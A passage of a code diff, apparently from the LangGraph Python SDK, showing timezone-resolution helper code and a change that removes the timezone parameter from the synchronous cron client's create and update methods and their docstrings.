result: dict[str, Any] = {"type": event_type, "ns": ns, "data": data}
if event_type == "values" and isinstance(data, dict):
result["interrupts"] = data.pop("__interrupt__", [])
else:
result["interrupts"] = []
return result
def _resolve_timezone(tz: str | tzinfo | ZoneInfo | None) -> str | None:
"""Convert a timezone argument to an IANA timezone string.
Accepts:
- A string (returned as-is, assumed to be an IANA timezone name)
- A ``datetime.tzinfo`` instance (e.g. ``zoneinfo.ZoneInfo("America/New_York")``,
``datetime.timezone.utc``). The ``key`` attribute is used if available,
otherwise ``tzname(None)`` is used.
- ``None`` (returned as ``None``)
"""
if tz is None or isinstance(tz, str):
return tz
if isinstance(tz, tzinfo):
# ZoneInfo objects have a .key attribute with the IANA name
if hasattr(tz, "key"):
return tz.key # type: ignore[union-attr]
# Fall back to tzname for fixed-offset timezones like datetime.timezone.utc
name = tz.tzname(None)
if name is not None:
return name
raise ValueError(
f"Cannot determine timezone name from {tz!r}. "
"Use a zoneinfo.ZoneInfo instance or pass a string like 'America/New_York'."
)
raise TypeError(
f"Expected str, datetime.tzinfo, or None for timezone, got {type(tz).__name__}"
)
def _provided_vals(d: Mapping[str, Any]) -> dict[str, Any]:
return {k: v for k, v in d.items() if v is not None}
+5 -15
View File
@@ -4,10 +4,9 @@ from __future__ import annotations
import warnings
from collections.abc import Mapping, Sequence
from datetime import datetime, tzinfo
from datetime import datetime
from typing import Any
from langgraph_sdk._shared.utilities import _resolve_timezone
from langgraph_sdk._sync.http import SyncHttpClient
from langgraph_sdk.schema import (
All,
@@ -65,7 +64,6 @@ class SyncCronClient:
multitask_strategy: str | None = None,
end_time: datetime | None = None,
enabled: bool | None = None,
timezone: str | tzinfo | None = None,
stream_mode: StreamMode | Sequence[StreamMode] | None = None,
stream_subgraphs: bool | None = None,
stream_resumable: bool | None = None,
@@ -80,7 +78,7 @@ class SyncCronClient:
assistant_id: The assistant ID or graph name to use for the cron job.
If using graph name, will default to first assistant created from that graph.
schedule: The cron schedule to execute this job on.
Schedules are interpreted in UTC unless a timezone is specified.
Schedules are interpreted in UTC.
input: The input to the graph.
metadata: Metadata to assign to the cron job runs.
config: The configuration for the assistant.
@@ -94,7 +92,6 @@ class SyncCronClient:
Must be one of 'reject', 'interrupt', 'rollback', or 'enqueue'.
end_time: The time to stop running the cron job. If not provided, the cron job will run indefinitely.
enabled: Whether the cron job is enabled. By default, it is considered enabled.
timezone: IANA timezone for the cron schedule. Accepts a string (e.g. 'America/New_York') or a ``datetime.tzinfo`` instance (e.g. ``ZoneInfo("America/New_York")``).
stream_mode: The stream mode(s) to use.
stream_subgraphs: Whether to stream output from subgraphs.
stream_resumable: Whether to persist the stream chunks in order to resume the stream later.
@@ -147,7 +144,6 @@ class SyncCronClient:
"multitask_strategy": multitask_strategy,
"end_time": end_time.isoformat() if end_time else None,
"enabled": enabled,
"timezone": _resolve_timezone(timezone),
"stream_mode": stream_mode,
"stream_subgraphs": stream_subgraphs,
"stream_resumable": stream_resumable,
@@ -178,7 +174,6 @@ class SyncCronClient:
multitask_strategy: str | None = None,
end_time: datetime | None = None,
enabled: bool | None = None,
timezone: str | tzinfo | None = None,
stream_mode: StreamMode | Sequence[StreamMode] | None = None,
stream_subgraphs: bool | None = None,
stream_resumable: bool | None = None,
@@ -192,7 +187,7 @@ class SyncCronClient:
assistant_id: The assistant ID or graph name to use for the cron job.
If using graph name, will default to first assistant created from that graph.
schedule: The cron schedule to execute this job on.
Schedules are interpreted in UTC unless a timezone is specified.
Schedules are interpreted in UTC.
input: The input to the graph.
metadata: Metadata to assign to the cron job runs.
config: The configuration for the assistant.
@@ -210,7 +205,6 @@ class SyncCronClient:
Must be one of 'reject', 'interrupt', 'rollback', or 'enqueue'.
end_time: The time to stop running the cron job. If not provided, the cron job will run indefinitely.
enabled: Whether the cron job is enabled. By default, it is considered enabled.
timezone: IANA timezone for the cron schedule. Accepts a string (e.g. 'America/New_York') or a ``datetime.tzinfo`` instance (e.g. ``ZoneInfo("America/New_York")``).
stream_mode: The stream mode(s) to use.
stream_subgraphs: Whether to stream output from subgraphs.
stream_resumable: Whether to persist the stream chunks in order to resume the stream later.
@@ -265,7 +259,6 @@ class SyncCronClient:
"multitask_strategy": multitask_strategy,
"end_time": end_time.isoformat() if end_time else None,
"enabled": enabled,
"timezone": _resolve_timezone(timezone),
"stream_mode": stream_mode,
"stream_subgraphs": stream_subgraphs,
"stream_resumable": stream_resumable,
@@ -320,7 +313,6 @@ class SyncCronClient:
interrupt_after: All | list[str] | None = None,
on_run_completed: OnCompletionBehavior | None = None,
enabled: bool | None = None,
timezone: str | tzinfo | None = None,
stream_mode: StreamMode | Sequence[StreamMode] | None = None,
stream_subgraphs: bool | None = None,
stream_resumable: bool | None = None,
@@ -333,7 +325,7 @@ class SyncCronClient:
Args:
cron_id: The cron ID to update.
schedule: The cron schedule to execute this job on.
Schedules are interpreted in UTC unless a timezone is specified.
Schedules are interpreted in UTC.
end_time: The end date to stop running the cron.
input: The input to the graph.
metadata: Metadata to assign to the cron job runs.
@@ -347,7 +339,6 @@ class SyncCronClient:
after execution. 'keep' creates a new thread for each execution but does not
clean them up.
enabled: Enable or disable the cron job.
timezone: IANA timezone for the cron schedule. Accepts a string (e.g. 'America/New_York') or a ``datetime.tzinfo`` instance (e.g. ``ZoneInfo("America/New_York")``).
stream_mode: The stream mode(s) to use.
stream_subgraphs: Whether to stream output from subgraphs.
stream_resumable: Whether to persist the stream chunks in order to resume the stream later.
@@ -382,7 +373,6 @@ class SyncCronClient:
"interrupt_after": interrupt_after,
"on_run_completed": on_run_completed,
"enabled": enabled,
"timezone": _resolve_timezone(timezone),
"stream_mode": stream_mode,
"stream_subgraphs": stream_subgraphs,
"stream_resumable": stream_resumable,
@@ -461,7 +451,7 @@ class SyncCronClient:
]
```
"""
payload: dict[str, Any] = {
payload = {
"assistant_id": assistant_id,
"thread_id": thread_id,
"enabled": enabled,

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